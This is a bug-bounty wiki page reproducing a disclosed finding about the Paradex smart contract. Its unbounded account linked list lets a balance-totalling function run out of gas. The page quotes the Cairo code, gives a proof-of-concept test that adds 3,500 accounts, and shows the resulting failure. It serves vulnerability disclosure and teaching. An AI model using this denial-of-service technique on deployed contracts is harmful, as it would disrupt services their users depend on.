Skip to content
DoS Audit finding Intermediate

Account list DoS issue

The Paradex smart contract stores all accounts in a linked list, and a function that traverses this list to compute a total balance can run out of gas if the list is large enough. An attacker could create many dummy accounts to make this function always revert, causing a denial of service.

gln Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

#46570 [SC-Insight] account list DoS issue

Submitted on Jun 1st 2025 at 19:34:10 UTC by @gln for IOP | Paradex

Description

Brief/Intro

Paradex contract stores all accounts in a linked list.

If the account list is large enough, the code which traverse this list may revert with out of gas error.

Vulnerability Details

To add new account the following function is called from paraclear/src/account/account.cairo :

    fn _add_new_account_if_not_exists(
            ref self: ComponentState<TContractState>, account_address: ContractAddress,
        ) -> bool {
            let current_account_address = self
                .Paraclear_account
                .entry(account_address)
                .account_address
                .read();
            if !current_account_address.is_zero() {
                return true;
            }

            let current_tail = self.Paraclear_account_tail.read();
            let new_account = Account {
                account_address: account_address, prev: current_tail, next: Zero::zero(),
            };

			self.Paraclear_account.write(account_address, new_account);
            self.Paraclear_account_tail.write(account_address);
            if !current_tail.is_zero() {
                let tail_account = self.Paraclear_account.read(current_tail);
                self
                    .Paraclear_account
                    .write(
                        current_tail,
                        Account {
                            account_address: current_tail,
                            prev: tail_account.prev,
                            next: account_address,
                        },
                    );
            }
            true
        }

Let's see how the code traverses this list, from paraclear/src/paraclear/paraclear.cairo:

      fn getSettlementAssetTotalBalance(self: @ContractState) -> felt252 {
            let settlement_token_asset = self.getSettlementTokenAsset();
            let mut account_tail = self.account.Paraclear_account_tail.read();
            let mut total_balance: felt252 = 0;
            while account_tail != Zero::zero() {
                total_balance += self
                    .token
                    .get_token_asset_balance(account_tail, settlement_token_asset);
                account_tail = self.account.Paraclear_account.read(account_tail).prev;
            }
            total_balance
        }

If account list is large enough, the getSettlementAssetTotalBalance() function call will fail due to out of gas error.

This creates a potential Denial of Service issue:

  1. Attacker creates huge amount of dummy accounts, they will be stored in a linked list (self.account.Paraclear_account)
  2. A call to getSettlementAssetTotalBalance() will always revert

Impact Details

Denial of Service issue, call to getSettlementAssetTotalBalance() will always fail with out of gas.

Proof of Concept

Proof of Concept

How to reproduce:

  1. add the following test to paraclear/src/account/tests/test_account.cairo
#[test]
fn test_add_account_poc() {
    let (_, paraclear_dispatcher) = setup_paraclear();
    let account_dispatcher = IAccountDispatcher {
        contract_address: paraclear_dispatcher.contract_address,
    };

    start_cheat_caller_address(account_dispatcher.contract_address, ADMIN());

    let mut i: u128 = 0;
    while i < 3500 {
        let success = account_dispatcher.add_account(address_from_felt(i.into()));
        assert(success, 'Failed to add account');
        i += 1;
    }
    stop_cheat_caller_address(account_dispatcher.contract_address);
    println!("XXXXKE added {} accounts", i);

    println!("XXXXKE executing getSettlementAssetTotalBalance()..");
    let amount = paraclear_dispatcher.getSettlementAssetTotalBalance();
    println!("XXXXXKE amount {}", amount);
}
  1. run the test
$ snforge test test_add_account_poc
...
Collected 1 test(s) from paradex_paraclear package
Running 1 test(s) from tests/
XXXXKE added 3500 accounts
XXXXKE executing getSettlementAssetTotalBalance()..
[FAIL] paradex_paraclear::account::tests::test_account::test_add_account_poc

Failure data:
    Got an exception while executing a hint: Hint Error: Error at pc=0:77304:
Could not reach the end of the program. RunResources has no remaining steps.
Cairo traceback (most recent call last):
Unknown location (pc=0:47194)
Unknown location (pc=0:47194)

The original report as published on Immunefi, by gln. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The contract uses an unbounded linked list and traverses it in a single transaction, which can exceed the gas limit if the list grows too large.

Impact

An attacker could cause getSettlementAssetTotalBalance() to always revert, leading to a denial of service for any functionality that depends on it.

What the attacker needed

Ability to add many accounts

How it was found

  1. Add a test that calls add_account 3500 times.
  2. Run the test and observe that getSettlementAssetTotalBalance() fails with an out-of-gas error.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract keeps a list of all user accounts. To calculate a total, it has to go through every account in the list. If there are too many accounts, the calculation uses too much processing power (gas) and fails. An attacker can add lots of fake accounts to make this happen, so the total can never be calculated.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by gln

View all

15 more disclosed reports, best first.

More from Paradex

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.